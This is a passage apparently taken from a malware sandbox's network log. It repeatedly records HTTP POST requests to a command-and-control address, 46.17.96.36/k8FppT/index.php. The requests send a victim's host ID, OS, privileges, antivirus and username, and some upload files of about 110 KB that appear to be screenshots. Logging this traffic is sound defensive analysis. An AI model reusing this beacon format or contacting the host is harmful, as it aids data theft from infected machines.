Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----f8365e60c09cb72ff566abbc48b42f93Host: 46.17.96.36Content-Length: 112208Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1bad195bce5d33d9229615811163fb23Host: 46.17.96.36Content-Length: 111339Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbdHost: 46.17.96.36Content-Length: 110771Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbdHost: 46.17.96.36Content-Length: 110771Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1a6eec0903b36103c3c811a8fa9b0fbdHost: 46.17.96.36Content-Length: 110771Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
